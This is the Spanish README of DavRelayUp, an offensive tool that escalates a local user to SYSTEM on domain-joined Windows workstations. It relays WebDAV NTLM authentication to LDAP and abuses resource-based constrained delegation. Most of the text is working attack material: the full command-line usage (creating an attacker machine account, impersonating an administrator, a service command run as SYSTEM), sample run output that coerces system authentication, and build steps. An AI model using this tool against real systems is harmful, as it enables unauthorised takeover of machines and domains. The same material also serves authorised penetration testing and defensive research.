
Automatiza la escalación de privilegios local a SYSTEM en estaciones de trabajo Windows unidas a un dominio mediante la retransmisión de autenticación NTLM de WebDAV a LDAP, aprovechando la delegación restringida basada en recursos (RBCD) sin requerir la aplicación de la firma LDAP.
Un port rápido y sucio de KrbRelayUp con modificaciones para permitir el relay NTLM desde webdav a LDAP con el fin de simplificar el abuso de la siguiente primitiva de ataque:
Esto es esencialmente una escalada de privilegios local universal sin parche en estaciones de trabajo Windows unidas a un dominio donde la firma LDAP no está habilitada (la configuración predeterminada).
DavRelayUp - Te llevamos a SYSTEM, de nuevo...
Uso: DavRelayUp.exe [-c] [-cn NOMBREMAQUINA] [-cp CONTRASEÑA | -ch HASHNT]
Opciones de RBCD:
-c (--CreateNewComputerAccount) Crear una nueva cuenta de máquina para RBCD. Usará el usuario autenticado actual.
-cn (--ComputerName) Nombre de la cuenta de máquina del atacante para RBCD. (por defecto=DAVRELAYUP$)
-cp (--ComputerPassword) Contraseña de la cuenta de máquina para RBCD. (por defecto=ALEATORIA [si -c está activado])
-ch (--ComputerPasswordHash) Hash NT de la contraseña de la cuenta de máquina para RBCD. (debe especificarse -cp o -ch)
-i (--Impersonate) Usuario a suplantar. Debe ser un administrador local en la máquina objetivo. (por defecto=Administrador)
Opciones de KrbSCM:
-s (--ServiceName) Nombre del servicio a crear. (por defecto=KrbSCM)
-sc (--ServiceCommand) Comando del servicio [binPath]. (por defecto = ejecutar cmd.exe como SYSTEM)
Opciones Generales:
-p (--Port) Puerto para el servidor WebDAV (por defecto=55555)
-d (--Domain) FQDN del dominio. (Opcional)
-dc (--DomainController) FQDN del controlador de dominio. (Opcional)
-ssl Usar LDAP sobre SSL. (Opcional)
-n Usar CreateNetOnly (debe estar en disco) en lugar de PTT al importar ST (Opcional)
-v (--Verbose) Mostrar salida detallada. (Opcional)
-h (--Help) Mostrar ayuda
Si DavRelayUp se queda atascado en una de estas etapas, prueba a usar un puerto diferente especificando el flag [-p]
DavRelayUp - Te llevamos a SYSTEM, de nuevo...
[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
DavRelayUp - Te llevamos a SYSTEM, de nuevo...
[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
[+] WebDAV Request: No Authorization header
[+] WebDAV Response: Sending 401 Unauthorized with "WWW-Authenticate: NTLM" header
https://github.com/Dec0ne/DavRelayUp/assets/54464773/4e791e8b-783c-48d3-b46b-8b22e2661ea1

PS C:\Tools\DavRelayUp> cd GoRelayServer
PS C:\Tools\DavRelayUp\GoRelayServer> go build --buildmode=c-shared -ldflags="-s -w" -o "../DavRelayUp/Costura64/GoRelayServer.dll" main.go